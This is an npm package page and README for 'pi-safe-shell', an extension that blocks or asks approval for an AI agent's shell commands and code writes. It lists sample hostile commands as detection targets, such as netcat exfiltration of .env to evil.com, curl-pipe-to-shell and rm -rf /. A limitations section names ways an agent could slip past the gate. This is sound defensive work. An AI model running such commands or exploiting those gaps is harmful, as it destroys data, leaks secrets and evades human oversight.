@aslamplr/pi-safe-shell
Protect your production assets from dangerous bash commands. Default no-bash mode with user approval gates and whitelist support.
Package details
Install @aslamplr/pi-safe-shell from npm and Pi will load the resources declared by the package manifest.
$ pi install npm:@aslamplr/pi-safe-shell- Package
@aslamplr/pi-safe-shell- Version
0.6.1- Published
- May 27, 2026
- Downloads
- 1,319/mo · 229/wk
- Author
- aslamplr
- License
- MIT
- Types
- extension
- Size
- 1.5 MB
- Dependencies
- 2 dependencies · 0 peers
Pi manifest JSON
{
"extensions": [
"./index.ts"
]
}Security note
Pi packages can execute code and influence agent behavior. Review the source before installing third-party packages.
README
pi-safe-shell 🛡️
Protect your production assets from dangerous bash commands — and dangerous code.
A Pi extension that gates shell commands and code execution with three layers of security analysis, inspired by the bash-damage-from-within project.
Default: 🔒 Block mode — now with interactive options to Allow Once or Switch to Ask Mode.
v0.4.0+: Three security layers: pattern matching → AST analysis → code content analysis. v0.5.0: Block mode interactive prompt with Switch to Ask Mode option. v0.6.0: Intent detection + pi-powerbar integration. v0.6.1: Learning mode removed, intent detection persisted across reloads.
210 tests, 100% pass rate.**
Repository: github.com/aslamplr/pi-safe-shell
Version: 0.6.0
Installation
# Install via npm (recommended)
pi install npm:@aslamplr/pi-safe-shell
# Or run from source
pi -e ./path/to/pi-safe-shell/index.ts
# Or clone to auto-discovered location
git clone https://github.com/aslamplr/pi-safe-shell.git ~/.pi/agent/extensions/pi-safe-shell
The extension loads automatically in all Pi sessions.
Four Security Layers
Shell Command ───► Pattern Matching ───► AST Analysis ───► Intent Detection ───► Execute / Block
│ │
Code Write ───► Code Content Analysis ───► Execute / Block
Layer 1: Pattern Matching (v0.1.0)
Token-exact denylist/whitelist matching. Commands matched against denylist are always blocked. Commands matched against whitelist are always allowed.
Layer 2: AST Analysis (v0.3.0+)
Uses tree-sitter-bash to parse shell commands into an AST and semantically analyze them:
- 12 intent types — Info, Read, Write, Delete, Execute, Network, Privilege, CodeExecution, etc.
- Path scope analysis — System (
/etc), home (~), project (./), temp (/tmp) - Context-aware flags —
-ris recursive-delete forrm, but recursive-search forgrep - Pipeline patterns —
curl|bash,wget|sh, data exfiltration (cat .env|curl) - Command chaining —
&&,||,;with per-command analysis - Interpreter detection —
python -c,node -e,sh -c,bash -c,eval,xargs - Inline code parsing — Recursively analyze code inside
-c/-eflags - Command substitution — Detect dangerous ops inside
$()and backticks - Variable expansion — Detect
$HOME,$PATH,$IFSwith destructive commands - Heredoc analysis — Analyze
<<EOFcontent for dangerous patterns - Obfuscation detection — Base64 decode piped to shell, wget download-execute patterns
Layer 4: Intent Detection (v0.6.0+)
Uses template-based learning to auto-approve repetitive safe commands after a configurable number of approvals:
- Command safety taxonomy — Classifies commands as Safe (grep, cat, ls), Contextual (git checkout, npm install), or Dangerous (rm, chmod, sudo)
- Path classification — Categorizes paths as PROJECT_SAFE, USER_SPACE, SYSTEM, or ROOT_DANGEROUS
- Template abstraction —
grep "Overview" README.md→ templategrep [STRING] [PATH] - Session learning — Tracks approvals per template, auto-approves when threshold is met
- Mode-based thresholds — Configurable per-mode: sandbox/dev/production/migration
Path-aware safety:
- System paths (
/etc,/usr) — never auto-approved, even with template match - User space paths (
~/Documents) — require one extra approval - Dangerous commands (
rm,sudo) — never auto-approved
# First command — requires approval
grep "API" README.md # ❓ Ask
# User approves
# Same template — auto-approved
grep "Overview" docs/setup.md # ✓ Auto-approved
Risk Scoring
Analyzes code written via write/edit tools to prevent agents from bypassing shell analysis by writing dangerous code instead:
- Node.js patterns —
fs.rmSync,child_process.exec,eval,require('child_process'),https.request - Python patterns —
shutil.rmtree,os.system,exec,subprocess.run,requests.post - Obfuscation detection — Base64 decoding, hex escapes,
String.fromCharCode, string concatenation - Call chain detection — File read + network POST (exfiltration), shell + rm -rf
- Path-aware scoring — Project paths (
./build) reduce severity; system paths (/) increase it
Risk Scoring
Every command and code snippet gets a risk score from 0-100:
| Level | Score | Shell Behavior | Code Behavior |
|---|---|---|---|
| 🟢 Safe | ≤20 | Allow | Allow |
| 🟡 Caution | 21-50 | Allow + warn | Allow + warn |
| 🟠 Danger | 51-80 | Require confirmation (ask mode) | Require confirmation (ask mode) |
| 🔴 Critical | ≥81 | Auto-block (all modes except YOLO) | Auto-block (all modes except YOLO) |
Thresholds are configurable. Use
/safe-shell threshold <type> <value>to tune sensitivity.
Five Modes
| Mode | Behavior | Use Case |
|---|---|---|
| 🔒 Block (default) | All shell calls blocked. When UI is available, offers interactive options: Allow Once, Switch to Ask Mode and Allow, or Deny. | Maximum safety. |
| ❓ Ask | Each shell call shows a selection prompt. | Selective override without mode-switching. |
| 🔓 Whitelist | Only whitelisted commands pass through. Compound operators rejected. | Standard dev workflow. |
| 🚀 YOLO | All commands allowed except denylist. No prompts. | Maximum freedom, minimal safety net. |
/safe-shell mode ask
/safe-shell mode whitelist
/safe-shell mode block
/safe-shell mode yolo
New in v0.4.0
Code-Based Bypass Prevention
Prevents agents from bypassing shell analysis by writing dangerous code instead:
Agent writes: fs.rmSync("/", { recursive: true })
→ Blocked: "Critical code detected (score: 85)"
→ Override: Use safe_shell_approve tool
Agent writes: import os; os.system("rm -rf /")
→ Blocked: "Critical code detected (score: 100)"
40+ dangerous API patterns detected across Node.js and Python.
Configurable Risk Thresholds
Tune sensitivity per project or session:
/safe-shell threshold danger 60 # Lower danger threshold from 51 to 60
/safe-shell threshold critical 75 # Make blocking more aggressive
Thresholds are validated to maintain caution < danger < critical.
Audit Log
Every command and code analysis is logged to .pi/safe-shell-audit.jsonl:
/safe-shell audit status # View summary: blocked/allowed/confirmed counts
/safe-shell audit off # Disable logging
Audit entries include: timestamp, command, tool, score, level, risk factors, decision, mode.
Debug Mode
See detailed AST analysis and scoring breakdown in block messages:
/safe-shell debug on # Enable
Shows: executable, args, flags, paths, pipe/redirect status, inline code, intent, reasons, risk factors.
Expanded Threat Detection
- Command substitution —
$(rm -rf /),echo $(curl ...), backtick patterns - Variable expansion —
$HOME,$PATH,$LD_PRELOAD,$IFS - Heredoc analysis —
cat <<EOF ... EOFbody content scanning - Eval patterns —
eval "$(curl ...)",eval 'rm -rf /' - Netcat exfiltration —
cat .env | nc evil.com 4444 - Pipeline to interpreter —
curl ... | python3,curl ... | php
Contextual Block Messages
Block messages now show:
🔒 Dangerous Shell Command Detected (CRITICAL: 100/100)
Command: rm -rf /
Intent: Delete
Risk Factors:
• Recursive Operation
• System Path
• Destructive Operation
Detection Reasons:
• dangerous flag: -r
• dangerous flag: -f
• rm -rf targeting system root
Why This Is Dangerous:
This command targets system directories which are critical for OS operation.
Modifying or deleting these files could render the system unbootable.
Safer Alternatives:
• Use project-relative paths (./build, ./dist) instead of absolute system paths
• Add path validation to ensure target is within project directory
Override:
Use the safe_shell_approve tool to allow this command for this session.
Commands
| Command | Action |
|---|---|
/safe-shell |
Show current mode, thresholds, and config summary |
/safe-shell mode block|ask|whitelist|yolo |
Switch operating mode |
/safe-shell allow <command> [--project] |
Approve a command |
/safe-shell deny <command> [--project] |
Remove approval |
/safe-shell threshold <type> <value> |
Set risk threshold (critical/danger/caution) |
/safe-shell intent on|off|status |
Toggle intent detection |
/safe-shell intent-mode <mode> |
Set intent mode (sandbox/dev/prod/migration) |
/safe-shell intent-status |
Show intent session statistics |
/safe-shell debug on|off|status |
Toggle debug mode |
/safe-shell audit status|on|off |
View or toggle audit log |
pi-powerbar Integration
When pi-powerbar is installed, safe-shell shows its mode in the persistent status bar. The segment updates on every mode switch and approval change.
Segment colors by mode:
| Mode | Display | Color |
|---|---|---|
| 🔒 Block | 🔒 Block |
Red |
| ❓ Ask | ❓ Ask |
Yellow |
| 🔓 Whitelist | 🔓 WList |
Dim |
| 🚀 YOLO | 🚀 YOLO |
Red |
Approval count shows as a suffix when > 0 (e.g. 🔒 Block 3).
Load order in ~/.pi/settings.json:
"packages": [
"npm:pi-extension-settings",
"npm:@juanibiapina/pi-powerbar", // ← powerbar first
"npm:@aslamplr/pi-safe-shell" // ← safe-shell after
]
Configure which segments appear via /extension-settings → Powerbar → Left/Right segments.
Gate Coverage
The shell gate intercepts all tools that can execute shell commands:
| Tool | How it's gated |
|---|---|
bash |
command parameter checked directly |
ctx_execute with language="shell" |
code parameter checked as shell command |
ctx_execute JS/Python |
Scanned for child_process/subprocess/os.system patterns |
interactive_shell |
command or spawn.prompt parameter checked |
ctx_batch_execute |
Each command in batch checked individually |
write/edit |
Code content analyzed for dangerous APIs |
Approval Dialog (Ask Mode)
🐚 pi-safe-shell: allow this command?
Tool: bash
Command: rm -rf target/
→ Allow Once Let this command run once
Allow Always Always allow in this session
Allow for Project Persist to project whitelist
Deny Block this command
Agent Tools
safe_shell_mode
Query-only tool. Checks current mode and approval count. No user interaction.
safe_shell_approve
List, add, or remove session approvals. Shows user confirmation dialog:
safe_shell_approve({ action: "allow", command: "rm -rf ./build" })
→ User sees: Allow Once / Allow Always / Allow for Project / Deny
→ If approved: command added to session approvals
Safe Registered Tools
| Tool | What it does | Why it's safe |
|---|---|---|
run_tests |
Runs configured test command | Output capped at 4KB |
git_status |
Shows git status --porcelain -b |
Read-only |
list_files |
Lists filenames in a directory | Names only, no contents |
Configuration
Three layers, highest priority first:
Session State
Commands approved via /safe-shell allow or ask-mode dialog. Survive /resume.
Project Config (.pi/pi-safe-shell.json)
{
"mode": "whitelist",
"whitelist": ["^pnpm run build$", "^pnpm test$"],
"denylist": ["rm -rf"],
"criticalThreshold": 81,
"dangerThreshold": 51,
"cautionThreshold": 21,
"auditLogEnabled": true,
"debugMode": false,
"safeProjectPaths": ["./build", "./dist", "./out", "./target"],
"testCommand": "pnpm",
"testCommandArgs": ["test"],
"testTimeout": 60000
}
Global Config (~/.pi/agent/extensions/pi-safe-shell/config.json)
Auto-created on first run. Defaults for all projects.
Precedence
Session approvals (highest)
↓
Project config (.pi/pi-safe-shell.json)
↓
Global config (~/.pi/agent/extensions/pi-safe-shell/config.json)
↓
Hardcoded defaults
Test Results (v0.6.0)
AST Analyzer: 119/119 (100%) — Commands, chains, substitutions, variables, heredocs
Code Analyzer: 35/35 (100%) — APIs, obfuscation, paths, call chains
Intent Detector: 56/56 (100%) — Safety, paths, templates, modes, scenarios
Total: 210/210 (100%)
Architecture
Shell command → Denylist check → Temp approvals → AST analysis → Intent detect → Mode switch
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
BLOCK ⛔ ALLOW ✅ Score 0-100 Auto-approve block/ask/
│ whitelist/yolo
Template match?
Code write → Code content analysis → Block critical → Confirm danger → Allow safe
File Structure
pi-safe-shell/
├── index.ts # Main extension (1900+ lines)
├── src/
│ ├── ast-analyzer.ts # AST-based shell command analysis
│ ├── code-analyzer.ts # Code content analysis (Node.js/Python)
│ └── intent-detector.ts # Intent detection engine
├── test-ast-analyzer.ts # 119 AST analysis tests
├── test-code-analyzer.ts # 35 code analysis tests
├── INTENT_DETECTION.md # Intent detection documentation
├── INTEGRATION_GUIDE.md # Developer integration guide
├── memory/core/project/ # Cross-session project knowledge
│ ├── 001-overview.md
│ ├── 002-v0.4.0-plan.md
│ ├── 003-architecture.md
│ └── 004-quickref.md
├── .pi/ # Project config and audit log
├── package.json
└── README.md
Development
git clone https://github.com/aslamplr/pi-safe-shell.git
cd pi-safe-shell
npm install
pi -e ./index.ts
# Run tests
npx tsx test-ast-analyzer.ts
npx tsx test-code-analyzer.ts
Changelog
v0.6.1 (2026-05-25)
Learning mode removed, intent detection persisted 🧹
- ✅ Learning mode removed — Intent detection fully replaces it with safer, template-based auto-approval
- ✅ Persistent intent tracking — Template approval map survives extension reloads via session state
- ✅ Auto-approve adds to tempApprovals — Commands also pushed to tempApprovals for cross-reload compatibility
- ✅ Cleanup — Removed
learningMode,learningMinUses,trackLearningCommand(),/safe-shell learningcommand
v0.6.0 (2026-05-25)
Intent Detection + pi-powerbar 🧠
- ✅ Intent detection engine — Auto-approves repetitive safe commands based on template matching and session learning
- ✅ Command safety taxonomy — Classifies commands as Safe/Contextual/Dangerous
- ✅ Path classification — PROJECT_SAFE, USER_SPACE, SYSTEM, ROOT_DANGEROUS
- ✅ Template abstraction —
grep [STRING] [PATH]pattern matching - ✅ Mode-based thresholds — sandbox/dev/production/migration modes
- ✅ pi-powerbar integration — Safe-shell mode shown in persistent status bar
- ✅ New commands —
/safe-shell intent,intent-mode,intent-status - ✅ 56 intent detection tests — 210 total tests, 100% pass rate
v0.5.0 (2026-05-15)
Block mode interactive prompt 🎯
- ✅ Block mode now shows an interactive prompt when UI is available:
- Allow Once — allows the command for this session
- Switch to Ask Mode and Allow — switches to ask mode and allows
- Deny — blocks the command
- ✅ Falls back to static block message in headless sessions
v0.4.0 (2026-05-15)
Code-Based Bypass Prevention + 6 Weeks of Features 🚀
- ✅ Code content analysis — 40+ dangerous API patterns (Node.js + Python)
- ✅ Configurable risk thresholds —
/safe-shell threshold <type> <value> - ✅ Learning mode — Auto-whitelist frequent commands
- ✅ Audit log — All commands logged to
.pi/safe-shell-audit.jsonl - ✅ Debug mode — AST details in block messages
- ✅ Command substitution detection —
$(), backticks - ✅ Variable expansion analysis —
$HOME,$PATH,$LD_PRELOAD,$IFS - ✅ Heredoc analysis —
<<EOFbody scanning - ✅ Eval pattern extraction —
eval "$(curl...)" - ✅ Netcat exfiltration —
cat .env \| nc - ✅ Contextual block messages — Risk factors, explanations, alternatives
- ✅ 100% pass rate — 154 tests (119 AST + 35 code)
v0.3.1 (2026-05-14)
Critical NPM Package Fix 🐛
- ✅ Include
src/directory in npm package - ✅ Move
tree-sitter-bashandweb-tree-sitterto dependencies
v0.3.0 (2026-05-14)
Phase 3: AST-Based Blocking 🎉
- ✅ Auto-block CRITICAL risks, require confirmation for DANGER
- ✅ Inline code parsing, command chaining, interpreter bypass detection
- ✅ 12 intent types, path scope analysis, 25+ risk factors
v0.2.0 (2026-05-13)
YOLO Mode + CI/CD
- ✅ YOLO mode — allow everything except denylist
- ✅ GitHub Actions CI/CD workflows
v0.1.0 (2026-05-12)
Initial Release
- ✅ Four security modes, pattern matching, session approvals
⚠️ Limitations & Warnings
This extension is not bulletproof. It's one layer of defense, not your only security measure.
Known Limitations
eval inline code extraction —
eval "rm -rf /"is detected at CodeExecution (score 55) but the inline code isn't recursively analyzed. Scores are slightly lower than ideal for eval-only attacks.Obfuscation gaps — String concatenation (
"rm" + " -rf" + " /") and hex escape sequences via variables aren't fully resolved. The dangerous API call itself (eval,execSync) is detected but the full severity may be underestimated.pathlib not detected — Python's
pathlib.Path.unlink()isn't in the current API detection patterns.Pure code execution — Agents could write code using techniques not covered by patterns (FFI, native bindings, dynamic imports).
Unmonitored tools — New MCP servers or custom extensions aren't automatically gated.
External processes — Node.js worker threads, Python multiprocessing could bypass the shell gate.
Use as one layer of defense. Always review agent-generated code.
⚖️ No Warranty
THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. The authors make no representations that this extension will prevent all attacks. You are responsible for configuring appropriate policies, monitoring agent behavior, and maintaining backups.
Credits
Inspired by bash-damage-from-within by IndyDevDan.
License
MIT